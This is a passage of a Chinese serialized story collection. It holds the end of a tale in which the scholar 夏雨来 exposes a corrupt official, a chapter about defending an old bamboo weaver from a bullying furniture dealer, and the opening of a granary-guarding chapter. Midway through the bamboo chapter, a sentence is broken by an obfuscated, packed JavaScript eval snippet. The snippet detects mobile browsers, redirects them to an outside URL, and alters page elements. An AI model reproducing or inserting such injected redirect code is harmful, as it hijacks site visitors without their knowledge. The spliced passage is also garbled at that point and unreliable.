刘师爷结结巴巴地说。 赵德发气得浑身发抖,指着看守祠堂的百姓们:“你们!是你们把财物偷走了!快说!财物在哪里?” 看守祠堂的百姓们连忙跪倒在地:“大人,冤枉啊!我们一直守在这里,根本没离开过,不知道财物怎么会不见了!” “不知道?” 赵德发怒喝道,“不是你们偷的,难道是财物自己长腿跑了?给我打!狠狠打!直到他们说出财物的下落为止!” 衙役们立刻上前,就要动手打人。 “大人,住手!” 夏雨来连忙上前拦住。 赵德发瞪着夏雨来:“夏雨来,你让开!这些刁民偷了本官的财物,本官一定要好好教训他们!” 夏雨来道:“大人,息怒!此事必有蹊跷。这些百姓们一直守在这里,要是他们偷了财物,根本不可能不留下痕迹。而且,祠堂的门窗都完好无损,不像是被人撬开的。依学生之见,说不定是有江洋大盗路过,把财物偷走了!” “江洋大盗?” 赵德发愣了一下,随即又怒了,“胡说!这荒郊野岭的,哪里来的江洋大盗?分明是这些刁民监守自盗!” 夏雨来道:“大人,您先别冲动。我们可以派人四处打听一下,看看有没有人看到可疑的人。而且,这些百姓们都是普通的农民,哪里有胆子偷官府的财物?要是真的是他们偷的,他们也不敢这么明目张胆地留在村里。” 赵德发仔细一想,觉得夏雨来说得也有道理。这些百姓们看起来胆小怕事,确实不像是有胆子偷官府财物的人。而且,祠堂的门窗都完好无损,确实像是有高手来过。 他皱着眉头,心中盘算着:要是财物真的被江洋大盗偷走了,那自己这次岂不是白忙活了?不行!一定要把财物找回来! “刘师爷,” 赵德发道,“你立刻带人四处打听,看看有没有人看到可疑的人。另外,派人去城里通知县衙的人,让他们派兵过来,帮忙搜寻财物!” 刘师爷连忙点头:“是!大人!” 说完,立刻带着几个衙役匆匆离开了。 赵德发看着空荡荡的祠堂,心疼得不得了。这些财物,可是他费了好大劲才 “借” 来的,就这样被人偷走了,他怎么能甘心? 夏雨来看着赵德发气急败坏的样子,心中暗暗好笑。他知道,赵德发派出去的人,肯定什么都找不到。因为那些财物,早就被藏到了安全的地方。 “大人,” 夏雨来道,“您也别太着急了。吉人自有天相,说不定财物很快就能找到。不如,我们先继续巡查,等找到财物了,再一起运回城里?” 赵德发叹了口气:“也只能这样了。” 他现在也没什么好办法,只能寄希望于刘师爷能尽快找到财物。 接下来,赵德发带着衙役们,继续前往城东的几个村落。但这次,他再也没有心思 “借” 财物了,一门心思地想着找回被偷的财物。可他不知道,这只是夏雨来设局的第一步,更大的陷阱还在等着他。 三、连环计中计,贪官贪念难填 城东的几个村落靠近潮州城,百姓们的生活相对富裕一些。赵德发原本打算在这里好好 “借” 一笔财物,可因为财物被偷的事,他一路上都闷闷不乐,没什么心思搜刮。 夏雨来见状,心中暗道:这赵德发,果然是个贪心的家伙。虽然财物被偷了,但他的贪念并没有减少。看来,得再给他加点料。 来到城东的杨柳村,赵德发正坐在村口的大榕树下,唉声叹气。夏雨来走上前道:“大人,您别太伤心了。学生倒是有个主意,说不定能找到财物的下落。” 赵德发眼睛一亮:“什么主意?快说!” 夏雨来道:“大人,您想啊,江洋大盗偷了这么多财物,肯定不容易带走。他们很可能会把财物藏在附近的某个地方,等风头过了再运走。我们可以张贴告示,悬赏捉拿江洋大盗,凡是能提供线索,帮助找回财物的,赏银一百两!重赏之下,必有勇夫,说不定很快就能有人提供线索!” 赵德发沉吟道:“一百两赏银?是不是太多了?” 他可是个吝啬鬼,让他拿出一百两银子,比割他的肉还疼。 夏雨来道:“大人,舍不得孩子套不住狼。这一百两赏银,和祠堂里的财物比起来,根本不算什么。只要能找回财物,大人您不仅能收回成本,还能赚得更多。而且,悬赏捉拿江洋大盗,还能彰显大人的英明神武,让百姓们更加敬畏大人!” 赵德发心中一动。他觉得夏雨来说得有道理,只要能找回财物,一百两赏银算什么?而且,还能落个好名声,真是一举两得。 “好!就按你说的办!” 赵德发道,“你立刻起草告示,悬赏一百两银子,捉拿偷财物的江洋大盗!” 夏雨来连忙起草告示,张贴在杨柳村和附近的几个村落。百姓们看到告示,都议论纷纷。 “一百两赏银?这么多!” “要是能找到线索,这辈子都不用愁了!” “不过,这江洋大盗也太厉害了,竟然敢偷官府的财物!” 夏雨来看着百姓们的反应,心中暗暗得意。他知道,很快就会有人 “提供线索” 了。 果然,没过多久,一个穿着破烂的汉子,慌慌张张地跑到赵德发面前:“大人!大人!我知道江洋大盗的下落!” 赵德发眼睛一亮:“哦?你知道?快说!江洋大盗在哪里?财物藏在哪里?” 汉子道:“大人,我昨天晚上路过城外的废弃窑厂,看到几个黑影在那里搬运东西,好像是粮食和布匹。我当时吓得没敢靠近,后来听说是官府的财物被偷了,才知道那些黑影就是江洋大盗!” 赵德发心中大喜:“废弃窑厂?好!太好了!刘师爷,立刻带人去废弃窑厂,把江洋大盗抓起来,找回财物!” 刘师爷道:“是!大人!” 说着,就要带着衙役们出发。 夏雨来连忙拦住:“大人,不可!” 赵德发皱了皱眉:“又怎么了?” 夏雨来道:“大人,江洋大盗都是亡命之徒,手里肯定有武器。刘师爷带着这么点人去,恐怕不是他们的对手。不如,我们先派人去打探一下,看看江洋大盗的人数和实力,再做打算?” 赵德发道:“打探什么?耽误了时间,财物被他们运走了怎么办?” 夏雨来道:“大人,您别急。学生有个朋友,是个猎户,身手不凡,对城外的地形也熟悉。可以让他先去打探一下,看看情况。要是江洋大盗人数不多,我们再派人去抓捕;要是人数太多,我们就向城里的官兵求助,确保万无一失!” 赵德发觉得夏雨来说得有道理,点了点头:“好!那你快去叫你的朋友!” 夏雨来连忙转身,找了个借口离开了。其实,那个提供线索的汉子,是夏雨来事先安排好的。而他所谓的 “猎户朋友”,也是商户联盟里的一个伙计,身手不错。 夏雨来找到那个伙计,叮嘱道:“你去废弃窑厂,故意让衙役们发现你,然后假装被江洋大盗追赶,逃回来向赵德发报告,就说江洋大盗有十几个人,手里都有武器,非常凶悍!” 伙计道:“好!夏秀才,您放心!” 说完,立刻朝着废弃窑厂的方向跑去。 没过多久,伙计就慌慌张张地跑了回来,身上还故意沾了些泥土和草屑,看起来狼狈不堪。 “大人!大人!不好了!” 伙计大喊道。 赵德发连忙道:“怎么了?江洋大盗怎么样了?” 伙计道:“大人,江洋大盗有十几个人,手里都拿着刀枪,非常凶悍!我刚靠近窑厂,就被他们发现了,他们追着我打,我好不容易才逃回来!” 赵德发脸色一变:“十几个人?还拿着刀枪?这可怎么办?” 他虽然贪财,但也怕死。要是真的和江洋大盗硬拼,自己说不定会吃亏。 夏雨来道:“大人,看来只能向城里的官兵求助了。您立刻写一封信,让衙役们快马加鞭送到城里,让王大人派兵过来。只要官兵一到,就能把江洋大盗一网打尽,找回财物!” 赵德发道:“好!好!我这就写!” 他连忙让刘师爷拿来纸笔,匆匆写了一封信,让两个衙役快马加鞭送到城里。 其实,夏雨来早就已经让孙老实通知了王大人。王大人听说赵德发借巡查之名,搜刮百姓,非常愤怒,已经准备好了兵马,就等赵德发的求救信了。 衙役们拿着信,快马加鞭地赶往潮州城。没过多久,就带着王大人和一队官兵赶了过来。 王大人是个四十多岁的中年人,为官清廉,深受百 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夏雨来心中暗笑:你的财物,早就被百姓们运回各自家里了。至于江洋大盗,根本就不存在! 王大人皱着眉头,看着赵德发:“赵大人,你是不是搞错了?这里根本没有什么江洋大盗,也没有什么财物!” 赵德发道:“不可能!有人亲眼看到江洋大盗把财物藏在这里的!还有人看到江洋大盗在这里出没!” 他指着那个提供线索的汉子和那个 “猎户朋友”。 王大人看向两人,沉声道:“你们说,看到了江洋大盗和财物,是真的吗?” 那个汉子和 “猎户朋友” 对视一眼,连忙跪倒在地:“大人,我们…… 我们是胡说的!我们根本没有看到江洋大盗和财物!” “什么?” 赵德发气得浑身发抖,“你们…… 你们竟敢欺骗本官!为什么要这么做?” 汉子道:“大人,是…… 是夏秀才让我们这么做的!” 所有人的目光都集中到了夏雨来身上。赵德发更是怒视着夏雨来:“夏雨来!原来是你!你竟敢联合外人,欺骗本官!你到底想干什么?” 夏雨来脸上露出笑容,道:“赵大人,学生只是想让您明白,搜刮百姓的财物,是不会有好下场的!” 他转头对王大人道:“王大人,赵大人此次下乡,名为巡查农桑,实则搜刮百姓的财物。他让衙役们翻箱倒柜,抢夺百姓的粮食、鸡鸭、布匹,还强迫百姓们‘借’财物给他,说是日后加倍偿还,实则是想据为己有!学生实在看不下去,才设下这个局,让他把财物还给百姓们!” 王大人脸色一沉,看向赵德发:“赵德发,夏雨来说的是真的吗?” 赵德发连忙道:“王大人,冤枉啊!这都是夏雨来污蔑我!我根本没有搜刮百姓的财物,那些财物都是百姓们自愿‘借’给我的!” “自愿‘借’给你的?” 王大人冷笑一声,“好!那我们就去问问百姓们!” 王大人带着赵德发、夏雨来和官兵们,来到了附近的几个村落。百姓们一见到王大人,就纷纷跪倒在地,哭诉赵德发的罪行。 “王大人,您要为我们做主啊!赵大人的衙役们,抢走了我们的粮食!” “王大人,他们还抢走了我的鸡鸭,连我家孩子的银锁都被他们拿走了!” “王大人,赵大人强迫我们‘借’财物给他,要是我们不借,他们就打我们!” 百姓们你一言,我一语,把赵德发的罪行说得清清楚楚。还有一些百姓,拿出了赵德发让刘师爷写的 “借据”,作为证据。 铁证如山,赵德发再也无法抵赖。他脸色惨白,瘫倒在地,嘴里不停地喊着:“我错了!我错了!求王大人饶命!” 王大人怒喝道:“赵德发!你身为朝廷命官,不思为民做主,反而搜刮百姓,中饱私囊,真是罪该万死!来人,把赵德发和他的衙役们,全部押回县衙,听候发落!” 官兵们立刻上前,把赵德发和衙役们五花大绑,押了起来。 百姓们看到赵德发被押走,都欢呼起来:“太好了!王大人英明!” “夏秀才太厉害了!为民除害!” “我们的财物终于保住了!” 夏雨来看着百姓们欢呼的场景,心中充满了欣慰。他知道,自己的努力没有白费,终于让这个贪官得到了应有的惩罚。 四、公堂对峙,贪官狡辩 赵德发被押回县衙后,王大人立刻升堂审案。潮州城的百姓们都纷纷涌到县衙门口,想要看看这个贪官的下场。 公堂之上,赵德发跪在地上,脸色惨白,往日的嚣张气焰荡然无存。刘师爷和几个主要的衙役也跪在一旁,吓得瑟瑟发抖。 王大人坐在案后,脸色铁青:“赵德发,你可知罪?” 赵德发连忙道:“大人,我…… 我知罪!我不该听信夏雨来的谗言,做出搜刮百姓的事!求大人饶命!” 他试图把责任推到夏雨来身上。 夏雨来站在一旁,冷笑道:“赵大人,饭可以乱吃,话可不能乱讲!我什么时候谗言你了?是你自己贪得无厌,想要搜刮百姓的财物,我只是设局让你把财物还给百姓们而已!” 王大人道:“赵德发,你不要狡辩!百姓们的证词和你写的‘借据’,都是铁证!你还有什么话要说?” 赵德发道:“大人,那些‘借据’,都是夏雨来逼我写的!他说,要是我不写,就会让百姓们反抗我,还会向上面举报我!我也是被逼无奈啊!” 刘师爷也连忙道:“大人,赵大人说得对!都是夏雨来逼我们的!我们也是受害者!” 夏雨来道:“王大人,学生可以作证,这些‘借据’,都是赵德发自愿写的。当时,他还得意洋洋地说,‘借’只是个幌子,日后还不还,都是他说了算!” 百姓们也纷纷上前作证:“王大人,我们可以作证!赵德发是自愿写‘借据’的!他还说,这是为了筹集赈灾粮款,其实就是想把我们的财物据为己有!” “没错!王大人,赵德发的衙役们,在村里胡作非为,抢我们的东西,打我们的人!这都是我们亲眼所见!” 赵德发看着百姓们一个个义愤填膺的样子,知道自己再也无法抵赖了。他趴在地上,连连磕头:“大人,我错了!我真的错了!我不该搜刮百姓的财物!求大人给我一次改过自新的机会!我以后再也不敢了!” 王大人道:“你犯下如此重罪,岂能轻易饶过你?你搜刮百姓的财物,数额巨大,影响恶劣,已经触犯了王法!本府判你杖责一百,流放三千里!你的衙役们,凡是参与搜刮百姓的,各杖责五十,监禁两年!刘师爷,作为帮凶,杖责八十,监禁三年!” “大人,饶命啊!” 赵德发和衙役们、刘师爷纷纷哭喊起来,但已经无济于事。 衙役们立刻上前,把赵德发等人拖下去行刑。百姓们听到判决,都欢呼起来:“王大人英明!” “真是大快人心!” “夏秀才,谢谢你!” 夏雨来道:“王大人,百姓们的财物,都已经被他们各自领回去了。这次多亏了王大人及时赶到,才能把赵德发这个贪官绳之以法!” 王大人道:“夏秀才,你不用谢我。这都是我应该做的。倒是你,为民着想,智斗贪官,真是个有勇有谋的好秀才!本府会向上面举荐你,让你为潮州城的百姓们做更多的好事!” 夏雨来道:“多谢王大人!学生只是做了自己该做的事情。只要能让百姓们安居乐业,学生就心满意足了。” 五、市井欢腾,温情延续 赵德发被流放,衙役们和刘师爷也受到了应有的惩罚,潮州城的百姓们都非常高兴。东门街的早市上,百姓们纷纷谈论着夏雨来智斗贪官的事迹,称赞他是为民除害的英雄。 “夏秀才真是太厉害了!仅凭一张嘴,就把赵德发那个贪官耍得团团转!” “是啊!要不是夏秀才,我们的财物早就被赵德发抢走了!” “夏秀才不仅有学问,还有胆识,真是我们潮州城的骄傲!” 赵老栓和陈铁牛也来到了夏雨来的住处,想要感谢他。 “夏秀才,真是多亏了你!” 赵老栓道,“要是赵德发那个贪官把百姓们的财物都搜刮走了,我们商户们的生意也会受到影响。你这可是帮了我们一个大忙啊!” 陈铁牛也道:“夏秀才,你智斗贪官的事迹,现在整个潮州城都传遍了!大家都在称赞你呢!我们商户联盟,也想请你吃顿饭,表达一下我们的谢意!” 夏雨来道:“两位掌柜客气了。都是街坊邻里,互相帮助是应该的。而且,这次能成功惩治赵德发,也多亏了王大人和百姓们的支持。吃饭就不必了,不如我们把这笔钱拿出来,在城外修几条乡间小路,方便百姓们出行和运输货物。” 赵老栓和陈铁牛对视一眼,都露出了赞许的神色。 “夏秀才,你这个提议太好了!” 赵老栓道,“百姓们出行方便了,我们的货物运输也会更加便利,这是一举两得的好事!我福顺栈愿意出三百两银子!” 陈铁牛道:“我兴盛号也愿意出三百两银子!” 其他商户们也纷纷响应,很快就筹集了一千多两银子。夏雨来拿着这笔钱,立刻开始组织工人,修建乡间小路。 百姓们也非常积极,纷纷主动帮忙。有的百姓捐出了自家的石料,有的百姓主动出工,不要工钱。在大家的共同努力下,没过多久,几条平坦宽阔的乡间小路就修建完成了。 小路修建完成的那天,百姓们都来庆祝。王大人也亲自来到现场,发表了讲话:“今天,这几条乡间小路修建完成,这是潮州城的一件大喜事!感谢夏秀才和各位商户们的大力支持,也感谢百姓们的积极参与!这些小路,不仅方便了百姓们的出行,也促进了潮州城的经济发展。希望大家以后能继续齐心协力,把潮州城建设得更加美好!” 百姓们纷纷鼓掌,欢呼声此起彼伏。赵老栓和陈铁牛站在一起,脸上都露出了欣慰的笑容。 “赵老哥,以前我总觉得,做生意就是为了赚钱。但经过这几件事,我才明白,能为百姓们做一些实事,才是最有意义的!” 陈铁牛道。 赵老栓道:“陈老弟,你说得对!我们现在生意好了,也该回报一下社会,帮助一下那些需要帮助的人。以后,我们商户联盟,要多听夏秀才的,多为百姓们做实事!” 夏雨来看着眼前的一切,心中充满了欣慰。他知道,只要大家齐心协力,互相帮助,潮州城一定会变得更加美好。 这天,夏雨来和孙老实、李铁柱带着丫丫,来到了城外的乡间小路。小路两旁,种满了庄稼和花草,风吹过,泛起阵阵涟漪。百姓们骑着马车,拉着货物,在小路上来来往往,脸上都露出了幸福的笑容。 丫丫拉着夏雨来的手,蹦蹦跳跳地说:“夏秀才,这些小路真漂亮!以后我和爹爹去城里,就方便多了!” 李铁柱道:“夏秀才,真是多亏了你!要不是你,我们也不会想到修建这些小路。现在,我们去城里买木料,比以前快多了!” 孙老实道:“夏秀才,你真是个有远见的人。这些小路,不仅方便了百姓们,也让我们潮州城的生意越来越红火。我相信,用不了多久,潮州城就会成为整个岭南最富庶的城市!” 夏雨来笑了笑:“这不是我一个人的功劳,是大家共同努力的结果。只要我们每个人都能献出一点爱心,互相帮助,潮州城的明天一定会更加美好。” 夕阳西下,金色的余晖洒在乡间小路上,洒在每个人的脸上。大家围坐在一起,一边聊着天,一边看着眼前的美景,脸上都露出了幸福的笑容。潮州城的日子,就这样在平静、温馨、互助中,一天天过去。而夏雨来的故事,也在潮州城的市井中,被人们津津乐道,成为了一段永恒的传说。 43. 手艺传承 三伏天的日头跟泼了油似的,烤得青石板路都能煎鸡蛋。南城巷口那间 “老周竹编” 铺子,门楣上的木匾褪了色,边角被风雨啃得发毛,就像铺子的主人周老爷子,佝偻着背,坐在门槛上,手里摩挲着一根刚削好的竹篾。 竹篾细如发丝,泛着温润的米黄色,在老爷子布满老茧的手里转了个圈,灵巧得像条小蛇。他今年七十一,做竹编做了六十年,从十三岁跟着爹学手艺,指尖被竹篾划得千疮百孔,如今那些疤痕都成了老茧的一部分,摸上去糙得很,却能把最脆的竹片摆弄成花。 “周老头,还守着你这破摊子呢?” 粗嘎的嗓门像砂纸擦木头,打断了老爷子的怔忪。三个穿着花衬衫的后生晃了过来,领头的是街口 “新潮家具城” 的老板刘三炮,敞着怀,露出胸口的纹身,手里把玩着一串佛珠,眼神却凶巴巴的。 周老爷子眼皮都没抬,手里的竹篾继续游走:“刘老板,无事不登三宝殿,你这大忙人,来我这小铺子做啥?” 他心里跟明镜似的,刘三炮惦记他这铺子的地界不是一天两天了。南城巷要拆迁重建,这老宅子地段好,刘三炮想低价盘下来开分店,被他拒了三次,这次来,怕是没安好心。 “啥叫无事?” 刘三炮一脚踹在铺子门口的竹筐上,竹筐晃了晃,里面的竹编小筐、竹筛子滚了一地。“你这破竹器,占着地儿挡我生意!昨天我家具城丢了个藤椅,有人看见是你这老东西偷偷摸摸在附近转悠,是不是你偷去卖了?” 周老爷子手一顿,竹篾 “啪” 地断了。他猛地抬头,浑浊的眼睛里冒着火:“刘三炮,你嘴巴干净点!我周守义活了七十一年,从没拿过别人一针一线,你别血口喷人!” 他心里又气又酸,年轻时他的竹编是南城一绝,谁家结婚不请他编个龙凤呈祥的竹帘?谁家添丁不讨个他编的平安锁?可现在,年轻人都爱塑料、金属的玩意儿,他的手艺没人学不说,还得受这种窝囊气。 “血口喷人?” 刘三炮冷笑一声,身后两个跟班立刻围了上来,一个踩住地上的竹筛子,狠狠碾了碾:“老东西,要么你现在把铺子签给我,我就当这事没发生;要么,我就报官,让你这老骨头去局子里蹲几天!” “你敢!” 周老爷子气得浑身发抖,想站起来,却被一个跟班推了个趔趄,重重坐在门槛上。他看着散落一地的竹器,有的是他熬了三个通宵编的竹花篮,有的是给邻居小孩编的竹蜻蜓,心里像被刀割一样疼。他这辈子就认一个理:手艺是根,做人要正。可现在,手艺快断了,连做人的尊严都要被人踩在脚下。 “我有啥不敢的?” 刘三炮蹲下来,拍了拍周老爷子的脸,“你这铺子,迟早是我的。识相点,别逼我动粗。” 他心里得意得很,这老东西无儿无女,徒弟也走光了,孤孤单单一个人,还能翻出什么浪?吓唬吓唬,保管他乖乖听话。 就在这时,一个吊儿郎当的声音插了进来:“哟,刘老板,这么大热天的,跟一个老爷子较啥劲?是不是你家具城的藤椅质量太差,自己长腿跑了,赖人家老爷子?” 众人回头,只见夏雨来叼着根冰棍,穿着花短裤、人字拖,摇摇晃晃地走了过来。他刚从巷口的小卖部买了冰棍,就看见刘三炮在这儿欺负人。夏雨来是谁?南城出了名的 “鬼机灵”,脑子转得比谁都快,嘴上不饶人,还专爱打抱不平。 刘三炮看见夏雨来,脸沉了沉:“夏雨来,这事跟你没关系,少多管闲事!” 他知道夏雨来不好惹,上次有人在巷口欺负卖菜的大妈,被夏雨来耍了个团团转,最后还赔了大妈三倍的菜钱,成了南城的笑柄。 “闲事?” 夏雨来吐掉冰棍棍,弯腰捡起一个被踩坏的竹蜻蜓,擦了擦上面的灰,“周老爷子的事,就是我的事。再说了,你说老爷子偷你藤椅,有证据吗?空口白牙污蔑人,是不是觉得老爷子好欺负?” 他心里已经有了主意,这刘三炮就是仗势欺人,得好好治治他,还周老爷子一个公道,顺便也让这快要失传的竹编手艺露露面。 “证据?” 刘三炮梗着脖子,“我手下人看见的,还能有假?” “你手下人?” 夏雨来笑了,“就是这俩睁眼说瞎话的?刘老板,不是我说你,雇人也得雇个靠谱的,这俩货,一看就是收了你的好处,帮你咬人呢!” 他转头看向那两个跟班,“你们说看见老爷子偷藤椅,那藤椅啥颜色?上面有没有花纹?多大尺寸?说不出来,就是撒谎!” 两个跟班你看我,我看你,支支吾吾说不上来。他们根本没看见什么藤椅,都是刘三炮让他们这么说的。 刘三炮脸一阵红一阵白:“夏雨来,你别在这儿胡搅蛮缠!我告诉你,今天这事儿,你管不了!” “管不了?” 夏雨来挑眉,走到周老爷子身边,扶他站起来,“老爷子,您别气,这事我帮您办。” 他转头对刘三炮说:“刘老板,要么你拿出证据,证明是老爷子偷了你的藤椅;要么,你给老爷子道歉,赔偿他被损坏的竹器,再把你那家具城的藤椅拿出来,让大家评评理,是你那粗制滥造的藤椅好,还是老爷子的竹编手艺精!” “评理就评理!” 刘三炮被激怒了,“我这就回去拿藤椅,让大家看看,谁的东西更受欢迎!” 他心里想,自己的藤椅是机器生产的,又便宜又好看,肯定比这老掉牙的竹编受欢迎,到时候不仅能让夏雨来和周老爷子丢脸,还能趁机宣传自己的家具城。 周老爷子拉了拉夏雨来的胳膊,小声说:“雨来,算了,别跟他一般见识,我这竹编…… 没人稀罕。” 他心里没底,现在的年轻人都不爱这些老玩意儿了,万一大家都觉得刘三炮的藤椅好,他这老脸往哪儿搁? “老爷子,您别妄自菲薄!” 夏雨来拍了拍他的肩膀,“您的手艺是宝贝,只是大家忘了它的好。今天我就让南城的人都知道,啥叫真正的手艺!” 他心里盘算着,不仅要让刘三炮丢脸,还要帮周老爷子找几个徒弟,把这竹编手艺传下去。 不一会儿,刘三炮就带着几个人,扛着一把藤椅回来了。藤椅是棕色的,看起来挺光鲜,但凑近了看,能发现藤条之间的缝隙不均匀,接口处还有胶水的痕迹。 刘三炮把藤椅往地上一放,得意地说:“大家快来看啊!这就是我家具城的藤椅,结实耐用,才卖两百块!再看看周老头的竹编,又老又旧,还卖得死贵,谁买谁吃亏!” 周围渐渐围了不少街坊邻居,有看热闹的,也有知道周老爷子手艺好的,都议论纷纷。 “刘老板的藤椅确实便宜,看起来也还行。” “周老爷子的竹编是好,就是现在没人用了。” “我小时候就用周老爷子编的竹篮,特别结实,用了好几年都没坏。” 周老爷子听着大家的议论,心里更不是滋味了,低着头,一句话也不说。 夏雨来看在眼里,大声说:“大家别光看表面!刘老板,你敢不敢跟老爷子比一比?就比谁的东西更结实,更耐用!” “比就比!” 刘三炮一口答应,“我这藤椅,坐三个人都没问题!” “好!” 夏雨来立刻叫了三个壮汉,让他们一起坐在藤椅上。三个壮汉一坐上去,藤椅就发出 “嘎吱嘎吱” 的响声,没过一会儿,“啪” 的一声,藤椅的扶手断了。 周围的人都笑了起来。 刘三炮的脸瞬间黑了:“这…… 这是意外!” “意外?” 夏雨来冷笑,“这就是你说的结实耐用?我看是中看不中用!” 他转头对周老爷子说:“老爷子,麻烦您拿一件您最得意的竹编出来,让大家开开眼!” 周老爷子犹豫了一下,转身走进铺子,拿出一个竹编的躺椅。这躺椅是他花了半个月编的,竹篾细而密,编出了缠枝莲的花纹,看起来既精致又大气。 “大家看,这是老爷子编的竹躺椅!” 夏雨来扶着躺椅,“这竹躺椅,不用一根钉子,不用一滴胶水,全靠竹篾的穿插咬合,坐上去又凉快又舒服,还特别结实!” 他说着,自己先坐了上去,晃了晃,躺椅稳如泰山,没有一点响声。 “我也试试!” 一个街坊邻居走了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446938|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坐上去后,忍不住赞叹:“真舒服!比沙发还凉快!” 接着,又有几个人轮流坐了上去,竹躺椅始终稳稳当当,没有丝毫损坏。 周围的人都看呆了,纷纷称赞:“这手艺太厉害了!” “周老爷子真是深藏不露啊!” “这竹躺椅比刘老板的藤椅好多了,我也想买一个!” 刘三炮站在一旁,脸白得像纸,一句话也说不出来。他没想到这老东西的竹编这么结实,自己反而丢了大脸。 夏雨来趁机说:“大家看到了吧?老爷子的竹编手艺,是咱们南城的宝贝!现在很多老手艺都快失传了,像老爷子这样的匠人,一辈子坚守一门手艺,不容易啊!” 他转头看向刘三炮,“刘老板,现在该你给老爷子道歉了,还要赔偿老爷子的损失!” 刘三炮咬着牙,不甘心地说:“对不起,周老爷子,是我错了,我不该污蔑你,也不该损坏你的竹器。” 他让人拿出五百块钱,递给周老爷子。 周老爷子没有接钱,只是说:“我不要你的钱,我只要你以后别再打我这铺子的主意,别再污蔑好人。” 他心里很感动,夏雨来不仅帮他出了气,还让大家重新认识了他的竹编手艺,那些议论声,比任何钱都让他开心。 “一定一定!” 刘三炮恨不得找个地缝钻进去,带着手下灰溜溜地走了。 围观的街坊邻居还没散,纷纷围着周老爷子,问他的竹编怎么卖,还有人说想跟他学竹编。 “老爷子,您这竹躺椅多少钱?我想买一个给我爸用!” “周师傅,您收徒弟吗?我家孩子放假了,想跟您学手艺!” “我也想学!这竹编太有意思了!” 周老爷子看着眼前热闹的景象,浑浊的眼睛里泛起了泪光。他这辈子,最遗憾的就是手艺没人传承,现在,终于有人愿意学了。他哽咽着说:“学…… 我教!只要你们愿意学,我一定把我所有的手艺都教给你们!” 夏雨来站在一旁,看着周老爷子激动的样子,心里也暖暖的。他知道,这只是一个开始,要让老手艺真正传承下去,还有很长的路要走,但他相信,只要有人坚守,有人愿意学,这些珍贵的老手艺就不会消失。 当天晚上,夏雨来帮周老爷子收拾了铺子,又帮他在网上发布了招收徒弟的信息,还拍了很多竹编的照片和视频,发到了网上。没想到,视频很快就火了,很多网友都留言说想学习竹编手艺,还有一些商家联系周老爷子,想批量订购他的竹编产品。 接下来的几天,“老周竹编” 铺子门前排起了长队,有来买竹编的,有来学手艺的,还有来采访周老爷子的记者。周老爷子忙得不可开交,但脸上却一直挂着笑容,那种笑容,是发自内心的满足和幸福。 刘三炮的家具城,因为之前的事,生意一落千丈,很多人都说他的产品质量差,还欺负老人,没人愿意去他那里买东西了。刘三炮后悔不已,但也没办法,只能自认倒霉。 半个月后,周老爷子正式收了五个徒弟,有十几岁的中学生,有二十多岁的年轻人,还有一个退休的老干部。夏雨来也经常来铺子帮忙,有时候还会给周老爷子出主意,怎么把竹编和现代元素结合起来,让更多年轻人喜欢。 这天,南城巷举办了一场 “老手艺展示节”,周老爷子带着他的徒弟们,现场展示竹编手艺。他们编的竹编作品,既有传统的龙凤呈祥、缠枝莲,也有现代的卡通人物、生活用品,吸引了很多人的目光。 夏雨来也来了,他看着周老爷子和徒弟们忙碌的身影,看着大家对竹编手艺的喜爱,心里暗暗想:老手艺是咱们民族的根,只要有人愿意坚守,有人愿意传承,它们就会永远发光发热。 周老爷子似乎感觉到了夏雨来的目光,转头对他笑了笑。那笑容,温暖而有力,像夏日里的一缕清风,吹散了所有的遗憾和孤独。夏雨来也笑了,他知道,这不仅仅是一场手艺的传承,更是一场温暖的守护,守护着那些即将被遗忘的美好,守护着那些坚守初心的匠人。 44. 粮仓守护 一、三更梆子响,粮仓起疑云 “咚 —— 咚 —— 咚 ——” 三更的梆子声刚从街东口传来,夏雨来就跟被针扎了似的从粮囤上弹起来。他揉了揉被夜露打湿的眉毛,往手心啐了口唾沫,借着天边那弯月牙儿的光,眯着眼打量眼前这座占地十亩的官府粮仓。 “邪门了,” 他挠了挠后脑勺,心里犯开了嘀咕,“往日里这粮仓周围的蛐蛐叫得能掀了天,今儿个怎么静得跟坟地似的?” 夏雨来不是官府派来的粮官,说起来也就是个 “编外临时工”。前几日县城里的粮官王大人得了风寒,卧床不起,又恰逢南方漕运刚到,十万石新粮入仓,急需人手看管。衙门里的捕快要么嫌夜里守粮仓辛苦,要么惧着近日城外闹得凶的 “黑风帮”,一个个找借口推脱。最后还是师爷想起了夏雨来 —— 这小子在县城东头开了家杂货铺,平日里爱管闲事,脑子活泛,手脚也利索,关键是胆子大,给二两银子就能通宵不闭眼。 “夏小哥,这粮仓可是咱们县城的命脉,” 师爷拍着他的肩膀,一脸凝重,“如今城里米价看涨,要是出了岔子,老百姓得造反!” 夏雨来当时正愁杂货铺的房租凑不齐,一听二两银子,眼睛都亮了:“师爷您放心,别说黑风帮,就是黑风怪来了,我也给您拦着!” 可真到了守粮仓的第三夜,夏雨来就觉得不对劲了。 第一夜,一切正常,除了几只老鼠跑过粮仓的木梁,连只野狗都没靠近。第二夜,他发现粮仓西北角的狗尾巴草被人踩倒了一片,当时只当是过路人不小心,没往心里去。可今晚,这死一般的寂静,还有空气里隐约飘来的一股松油味,让他后脊梁骨直冒凉气。 “松油?这荒郊野外的,哪来的松油?” 夏雨来蹲下身,手指捻起一点沾在粮仓木柱上的黑色油渍,放在鼻尖闻了闻,“好家伙,是用来引火的!这是想偷粮不成,还想烧仓?” 他心里咯噔一下,随即又冷静下来。夏雨来这人,最大的优点就是遇事不慌,还爱琢磨。他琢磨着,黑风帮既然敢打官府粮仓的主意,肯定不是三五个人,说不定是倾巢出动。自己就一个人,硬拼肯定不行,得想个巧法子。 “得先通知衙门,” 夏雨来摸了摸腰间的铜锣,这是师爷给他的,说是遇事就敲。可他转念一想,“不行,衙门离这儿有三里地,等捕快们跑过来,粮都被人搬空了。再说,万一黑风帮在半路上设了埋伏,岂不是羊入虎口?” 